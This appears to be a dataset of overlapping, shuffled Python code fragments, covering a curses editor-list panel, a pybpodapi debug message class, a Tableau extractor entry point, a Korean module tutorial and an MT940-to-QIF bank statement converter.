"enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items(): if",
"editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status):",
"up(self): pass def down(self): pass def run(self): pass def clear_content(self): for i in",
"in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3,",
"rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y",
"self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state = False self.navigator =",
"left(self): pass def right(self): pass def up(self): pass def down(self): pass def run(self):",
"for i, editor in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y + i +",
"self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state = False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN,",
"pass def run(self): pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2))",
"self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x + 1,",
"rectangle import curses ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr =",
"= self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state = False self.navigator = None curses.init_pair(2,",
"show_content(self): self.clear_content() self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in",
"1, self.width // 4 - 4) def show_content(self): self.clear_content() self.all_editors = {} index,",
"+ 2, self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def",
"from curses.textpad import rectangle import curses ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def",
"self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {}"
] |
[
"things like experiment name , task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS =",
"# -*- coding: utf-8 -*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information",
"name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS = \"debug\" MESSAGE_COLOR = (200, 200, 200)",
"experiment name , task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS = \"debug\" MESSAGE_COLOR",
"task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS = \"debug\" MESSAGE_COLOR = (200, 200,",
"-*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for things like",
"-*- coding: utf-8 -*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line",
"from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for things like experiment",
"BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for things like experiment name , task",
"line for things like experiment name , task name, board id, etc. \"\"\"",
"coding: utf-8 -*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for",
"class DebugMessage(BaseMessage): \"\"\" Information line for things like experiment name , task name,",
"Information line for things like experiment name , task name, board id, etc.",
"!/usr/bin/python3 # -*- coding: utf-8 -*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\"",
"pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for things like experiment name",
"# !/usr/bin/python3 # -*- coding: utf-8 -*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage):",
"DebugMessage(BaseMessage): \"\"\" Information line for things like experiment name , task name, board",
"for things like experiment name , task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS",
"\"\"\" Information line for things like experiment name , task name, board id,",
"import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for things like experiment name ,",
", task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS = \"debug\" MESSAGE_COLOR = (200,",
"name , task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS = \"debug\" MESSAGE_COLOR =",
"like experiment name , task name, board id, etc. \"\"\" MESSAGE_TYPE_ALIAS = \"debug\"",
"utf-8 -*- from pybpodapi.com.messaging.base_message import BaseMessage class DebugMessage(BaseMessage): \"\"\" Information line for things"
] |
[
"cli_main from .extractor import TableauExtractor if __name__ == \"__main__\": cli_main(\"Tableau metadata extractor\", TableauExtractor)",
"metaphor.common.cli import cli_main from .extractor import TableauExtractor if __name__ == \"__main__\": cli_main(\"Tableau metadata",
"from metaphor.common.cli import cli_main from .extractor import TableauExtractor if __name__ == \"__main__\": cli_main(\"Tableau",
"import cli_main from .extractor import TableauExtractor if __name__ == \"__main__\": cli_main(\"Tableau metadata extractor\","
] |
[] |
[
"가져올 때 import 모듈_명 obj = lib.A() # lib라는 모듈의 A클래스에 대한 인스턴스화",
"> import lib # 모듈을 가져올 때 import 모듈_명 obj = lib.A() #",
"<filename>opentutorials_python2/opentutorials_python2/20_Object_and_Module/1_Object_and_Module.py # < 객체와 모듈 > import lib # 모듈을 가져올 때 import",
"# < 객체와 모듈 > import lib # 모듈을 가져올 때 import 모듈_명",
"< 객체와 모듈 > import lib # 모듈을 가져올 때 import 모듈_명 obj",
"# 모듈을 가져올 때 import 모듈_명 obj = lib.A() # lib라는 모듈의 A클래스에",
"모듈을 가져올 때 import 모듈_명 obj = lib.A() # lib라는 모듈의 A클래스에 대한",
"import lib # 모듈을 가져올 때 import 모듈_명 obj = lib.A() # lib라는",
"lib # 모듈을 가져올 때 import 모듈_명 obj = lib.A() # lib라는 모듈의",
"때 import 모듈_명 obj = lib.A() # lib라는 모듈의 A클래스에 대한 인스턴스화 print(obj.a())",
"모듈 > import lib # 모듈을 가져올 때 import 모듈_명 obj = lib.A()",
"객체와 모듈 > import lib # 모듈을 가져올 때 import 모듈_명 obj ="
] |
[
"the same as the 1st argument + some changes fn = fn +",
"balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}' \\ .format(fn, start_balance, total_amount,",
"+':99:' # parse the string in a field number 'num' and its corresponding",
"= match.group('num') field = match.group('field') # in case field number is equal to",
"information in field 61 and subsequent 86 if num == '61': f61 =",
"make new qif file using # the name of the bank account found",
"match.group('field') # in case field number is equal to '25' check if it",
"re.finditer(field_pat,record): num = match.group('num') field = match.group('field') # in case field number is",
"and concatenate entire MT940 contents and add '-ABN' to make sure the last",
"''.join(text) +'-ABN' payee = '' memo = '' total_amount = D('0') bank_account =",
"the last field is also captured record = match.group('record') +':99:' # parse the",
"field number is '61' handle the transaction using the information in field 61",
"in field 61 and subsequent 86 if num == '61': f61 = re.match(val61_pat,",
"print ('{}: start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance,",
"if fn !='': qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance:",
"if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in",
"file') exit() text = open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee = '' memo",
"{:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount = D('0') fn = '' #",
"Field 25 is assumed to be before field 61. if num == '25':",
"record to make sure the last field is also captured record = match.group('record')",
"num == '61': f61 = re.match(val61_pat, field) f61_dict = f61.groupdict() # in case",
"new bank_account. If new make new qif file using # the name of",
"import ParseMT940 D = decimal.Decimal # read and concatenate entire MT940 contents and",
"(date) :date (transaction date and used for date) :sign :amount :code :reference val61_pat",
"25 is assumed to be before field 61. if num == '25': #",
"more than one transaction # is possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))')",
"bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a new bank",
"re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): # add token ':99:' to the",
"some changes fn = fn + '_' + bank_account +'.qif' qif_file = open(fn,'w')",
"# make the file name the same as the 1st argument + some",
"= open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a new bank account in field",
"a MT940 record group, note more than one transaction # is possible within",
"'field' for match in re.finditer(field_pat,record): num = match.group('num') field = match.group('field') # in",
"+= D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) # on finishing the program",
"+ some changes fn = fn + '_' + bank_account +'.qif' qif_file =",
"re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the values in field 61 #:valuta (date)",
"field = match.group('field') # in case field number is equal to '25' check",
"if len(sys.argv)== 2: argf = sys.argv[1] else: print('please provide a valid MT940 file')",
"date and used for date) :sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)')",
"note more than one transaction # is possible within a record record_pat =",
"{:.2f} / transfers: {:.2f} / end balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance))",
"number 'num' and its corresponding 'field' for match in re.finditer(field_pat,record): num = match.group('num')",
"record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the fields in the",
"2: argf = sys.argv[1] else: print('please provide a valid MT940 file') exit() text",
"bank_account and bank_account != '': qif_file.close() end_balance = start_balance + total_amount print ('{}:",
"('{}: start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}' \\ .format(fn,",
"+ total_amount print ('{}: start balance: {:.2f} / transfers: {:.2f} / end balance:",
"match.group('num') field = match.group('field') # in case field number is equal to '25'",
"case field number is equal to '25' check if it is a new",
"new qif file if a new bank account is encountered if field !=",
"if it is a new bank_account. If new make new qif file using",
"amount, payee, memo) # on finishing the program close the last qif_file if",
"== '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo =",
"= ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee,",
"start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance))",
"# in case field number is '86' handle to payee and memo and",
"field '25'. Field 25 is assumed to be before field 61. if num",
"in case field number is equal to '25' check if it is a",
"'61': f61 = re.match(val61_pat, field) f61_dict = f61.groupdict() # in case field number",
"captured if len(sys.argv)== 2: argf = sys.argv[1] else: print('please provide a valid MT940",
"handle the transaction using the information in field 61 and subsequent 86 if",
"match in re.finditer(record_pat, text): # add token ':99:' to the end of the",
"check if it is a new bank_account. If new make new qif file",
"= field new_bank_flag = True fn = argf.rsplit('.',1)[0] # make the file name",
"field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the values in field 61",
"of the bank account found in field '25'. Field 25 is assumed to",
"is encountered if field != bank_account: bank_account = field new_bank_flag = True fn",
"m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case field number is '61' handle",
"num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case",
"= '' fn = '' # record: pattern to determine a MT940 record",
"date) :sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat,",
"payee and memo and write the transaction to QIF if num == '86':",
"program close the last qif_file if fn !='': qif_file.close() end_balance = start_balance +",
"+ bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a new",
"QIF if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount'])",
"date, amount, payee, memo) # on finishing the program close the last qif_file",
"file name the same as the 1st argument + some changes fn =",
"first instance if field != bank_account and bank_account != '': qif_file.close() end_balance =",
"and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case field number is",
"qif file using # the name of the bank account found in field",
"61. if num == '25': # close the qif file if this is",
"fn + '_' + bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance",
"before field 61. if num == '25': # close the qif file if",
"fn !='': qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance: {:.2f}",
"'' # record: pattern to determine a MT940 record group, note more than",
"within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the fields",
"'' memo = '' total_amount = D('0') bank_account = '' fn = ''",
"amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date, amount) total_amount +=",
"= re.match(val61_pat, field) f61_dict = f61.groupdict() # in case field number is '86'",
"number is '61' handle the transaction using the information in field 61 and",
"!= bank_account: bank_account = field new_bank_flag = True fn = argf.rsplit('.',1)[0] # make",
"and used for date) :sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for",
"close the qif file if this is not the first instance if field",
"If new make new qif file using # the name of the bank",
"the file name the same as the 1st argument + some changes fn",
"end balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount = D('0') fn =",
"handle to payee and memo and write the transaction to QIF if num",
"bank account found in field '25'. Field 25 is assumed to be before",
":code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): # add",
"a valid MT940 file') exit() text = open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee",
"= match.group('field') # in case field number is equal to '25' check if",
"+'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a new bank account",
"# field_pat: pattern to seperate the fields in the MT940 file :num :field",
"add token ':99:' to the end of the record to make sure the",
"for date) :sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in",
"re.match(val61_pat, field) f61_dict = f61.groupdict() # in case field number is '86' handle",
"if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee,",
"in field 61 #:valuta (date) :date (transaction date and used for date) :sign",
"the transaction using the information in field 61 and subsequent 86 if num",
"to the end of the record to make sure the last field is",
"a field number 'num' and its corresponding 'field' for match in re.finditer(field_pat,record): num",
"(transaction date and used for date) :sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)'",
"the end of the record to make sure the last field is also",
"seperate the fields in the MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') #",
"total_amount = D('0') bank_account = '' fn = '' # record: pattern to",
"make sure the last field is also captured record = match.group('record') +':99:' #",
"balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount = D('0') fn = ''",
"total_amount print ('{}: start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}'",
"bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) #",
"# in case field number is equal to '25' check if it is",
"name of the bank account found in field '25'. Field 25 is assumed",
"MT940 record group, note more than one transaction # is possible within a",
"in the MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to",
"also captured record = match.group('record') +':99:' # parse the string in a field",
"('{}: start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount,",
":date (transaction date and used for date) :sign :amount :code :reference val61_pat =",
"concatenate entire MT940 contents and add '-ABN' to make sure the last record",
"end of the record to make sure the last field is also captured",
"argf.rsplit('.',1)[0] # make the file name the same as the 1st argument +",
"account found in field '25'. Field 25 is assumed to be before field",
"ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record",
"61 and subsequent 86 if num == '61': f61 = re.match(val61_pat, field) f61_dict",
"= D('0') bank_account = '' fn = '' # record: pattern to determine",
"!= '': qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance: {:.2f}",
"sys.argv[1] else: print('please provide a valid MT940 file') exit() text = open(argf).read().splitlines() text",
"file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the values",
"# is possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to",
"the transaction to QIF if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount",
"the fields in the MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat:",
"qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a new bank account in",
"False # in case field number is '61' handle the transaction using the",
"field) f61_dict = f61.groupdict() # in case field number is '86' handle to",
"a new bank account is encountered if field != bank_account: bank_account = field",
"= argf.rsplit('.',1)[0] # make the file name the same as the 1st argument",
"new_bank_flag = False # in case field number is '61' handle the transaction",
"parse the string in a field number 'num' and its corresponding 'field' for",
"pattern to seperate the fields in the MT940 file :num :field field_pat =",
"D('0') bank_account = '' fn = '' # record: pattern to determine a",
"= ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date,",
"total_amount print ('{}: start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}'.format(fn,",
"to determine a MT940 record group, note more than one transaction # is",
"and subsequent 86 if num == '61': f61 = re.match(val61_pat, field) f61_dict =",
"using the information in field 61 and subsequent 86 if num == '61':",
"text): # add token ':99:' to the end of the record to make",
"and write the transaction to QIF if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'],",
"fn = argf.rsplit('.',1)[0] # make the file name the same as the 1st",
"'86' handle to payee and memo and write the transaction to QIF if",
"start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}' \\ .format(fn, start_balance,",
"as the 1st argument + some changes fn = fn + '_' +",
"'-ABN' to make sure the last record is captured if len(sys.argv)== 2: argf",
"# parse the string in a field number 'num' and its corresponding 'field'",
":reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): # add token",
"qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance: {:.2f} / transfers:",
"transaction using the information in field 61 and subsequent 86 if num ==",
"write the transaction to QIF if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date'])",
"file using # the name of the bank account found in field '25'.",
"/ transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this is",
"to seperate the values in field 61 #:valuta (date) :date (transaction date and",
"the qif file if this is not the first instance if field !=",
"the information in field 61 and subsequent 86 if num == '61': f61",
"True fn = argf.rsplit('.',1)[0] # make the file name the same as the",
"D = decimal.Decimal # read and concatenate entire MT940 contents and add '-ABN'",
"'' total_amount = D('0') bank_account = '' fn = '' # record: pattern",
"argument + some changes fn = fn + '_' + bank_account +'.qif' qif_file",
"and its corresponding 'field' for match in re.finditer(field_pat,record): num = match.group('num') field =",
"new bank account is encountered if field != bank_account: bank_account = field new_bank_flag",
"ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) # on finishing the program close the",
"last field is also captured record = match.group('record') +':99:' # parse the string",
"to '25' check if it is a new bank_account. If new make new",
"and add '-ABN' to make sure the last record is captured if len(sys.argv)==",
"a new bank_account. If new make new qif file using # the name",
"file if this is not the first instance if field != bank_account and",
"= ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount)",
"token ':99:' to the end of the record to make sure the last",
"num == '25': # close the qif file if this is not the",
"if a new bank account is encountered if field != bank_account: bank_account =",
"seperate the values in field 61 #:valuta (date) :date (transaction date and used",
"the name of the bank account found in field '25'. Field 25 is",
"transaction to QIF if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount =",
"memo and write the transaction to QIF if num == '86': date =",
"in field 60 if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag =",
"= True fn = argf.rsplit('.',1)[0] # make the file name the same as",
":num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the values in",
"the values in field 61 #:valuta (date) :date (transaction date and used for",
"start_balance for a new bank account in field 60 if num == '60'",
"if num == '25': # close the qif file if this is not",
"= False # in case field number is '61' handle the transaction using",
"print ('{}: start balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}' \\",
"record = match.group('record') +':99:' # parse the string in a field number 'num'",
"amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) # on finishing",
"!= bank_account and bank_account != '': qif_file.close() end_balance = start_balance + total_amount print",
"a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the fields in",
"ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date, amount)",
"fn = '' # open a new qif file if a new bank",
"end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this is not a valid MT940",
"field 61 #:valuta (date) :date (transaction date and used for date) :sign :amount",
"bank_account. If new make new qif file using # the name of the",
"/ transfers: {:.2f} / end balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount",
"for match in re.finditer(field_pat,record): num = match.group('num') field = match.group('field') # in case",
"transfers: {:.2f} / end balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount =",
"python import re import sys import decimal from mt940m_v2 import ParseMT940 D =",
"last qif_file if fn !='': qif_file.close() end_balance = start_balance + total_amount print ('{}:",
"sure the last field is also captured record = match.group('record') +':99:' # parse",
"# close the qif file if this is not the first instance if",
"to make sure the last field is also captured record = match.group('record') +':99:'",
"{:.2f} / end balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount = D('0')",
"sys import decimal from mt940m_v2 import ParseMT940 D = decimal.Decimal # read and",
"close the last qif_file if fn !='': qif_file.close() end_balance = start_balance + total_amount",
"'25' check if it is a new bank_account. If new make new qif",
"import decimal from mt940m_v2 import ParseMT940 D = decimal.Decimal # read and concatenate",
"'61' handle the transaction using the information in field 61 and subsequent 86",
"bank account in field 60 if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2)))",
"account is encountered if field != bank_account: bank_account = field new_bank_flag = True",
"string in a field number 'num' and its corresponding 'field' for match in",
"= ''.join(text) +'-ABN' payee = '' memo = '' total_amount = D('0') bank_account",
"field != bank_account: bank_account = field new_bank_flag = True fn = argf.rsplit('.',1)[0] #",
"values in field 61 #:valuta (date) :date (transaction date and used for date)",
"the program close the last qif_file if fn !='': qif_file.close() end_balance = start_balance",
"using # the name of the bank account found in field '25'. Field",
"read and concatenate entire MT940 contents and add '-ABN' to make sure the",
"the 1st argument + some changes fn = fn + '_' + bank_account",
"pattern to determine a MT940 record group, note more than one transaction #",
"of the record to make sure the last field is also captured record",
"the start_balance for a new bank account in field 60 if num ==",
"'_' + bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a",
"the string in a field number 'num' and its corresponding 'field' for match",
"field new_bank_flag = True fn = argf.rsplit('.',1)[0] # make the file name the",
"= D('0') fn = '' # open a new qif file if a",
"bank_account != '': qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance:",
"bank_account = field new_bank_flag = True fn = argf.rsplit('.',1)[0] # make the file",
"balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this is not a valid MT940 file')",
"file if a new bank account is encountered if field != bank_account: bank_account",
"= '' # record: pattern to determine a MT940 record group, note more",
"corresponding 'field' for match in re.finditer(field_pat,record): num = match.group('num') field = match.group('field') #",
"+ '_' + bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for",
"its corresponding 'field' for match in re.finditer(field_pat,record): num = match.group('num') field = match.group('field')",
"make sure the last record is captured if len(sys.argv)== 2: argf = sys.argv[1]",
"new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case field number is '61'",
"len(sys.argv)== 2: argf = sys.argv[1] else: print('please provide a valid MT940 file') exit()",
"this is not the first instance if field != bank_account and bank_account !=",
":sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text):",
"possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the",
"open a new qif file if a new bank account is encountered if",
"a new bank account in field 60 if num == '60' and new_bank_flag:",
"ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo)",
"date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) # on",
"num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo",
"= sys.argv[1] else: print('please provide a valid MT940 file') exit() text = open(argf).read().splitlines()",
"record: pattern to determine a MT940 record group, note more than one transaction",
"match.group('record') +':99:' # parse the string in a field number 'num' and its",
"is equal to '25' check if it is a new bank_account. If new",
"from mt940m_v2 import ParseMT940 D = decimal.Decimal # read and concatenate entire MT940",
"== '61': f61 = re.match(val61_pat, field) f61_dict = f61.groupdict() # in case field",
"+'-ABN' payee = '' memo = '' total_amount = D('0') bank_account = ''",
"in case field number is '61' handle the transaction using the information in",
"bank_account: bank_account = field new_bank_flag = True fn = argf.rsplit('.',1)[0] # make the",
"# read and concatenate entire MT940 contents and add '-ABN' to make sure",
"determine a MT940 record group, note more than one transaction # is possible",
"total_amount = D('0') fn = '' # open a new qif file if",
"D('0') fn = '' # open a new qif file if a new",
"bank account is encountered if field != bank_account: bank_account = field new_bank_flag =",
"if num == '61': f61 = re.match(val61_pat, field) f61_dict = f61.groupdict() # in",
"fn = fn + '_' + bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find",
"'num' and its corresponding 'field' for match in re.finditer(field_pat,record): num = match.group('num') field",
"'25': # close the qif file if this is not the first instance",
"val61_pat: pattern to seperate the values in field 61 #:valuta (date) :date (transaction",
"= start_balance + total_amount print ('{}: start balance: {:.2f} / transfers: {:.2f} /",
"is '86' handle to payee and memo and write the transaction to QIF",
"= fn + '_' + bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n') #find the",
"valid MT940 file') exit() text = open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee =",
"to make sure the last record is captured if len(sys.argv)== 2: argf =",
"# val61_pat: pattern to seperate the values in field 61 #:valuta (date) :date",
"import sys import decimal from mt940m_v2 import ParseMT940 D = decimal.Decimal # read",
"60 if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False #",
"payee = '' memo = '' total_amount = D('0') bank_account = '' fn",
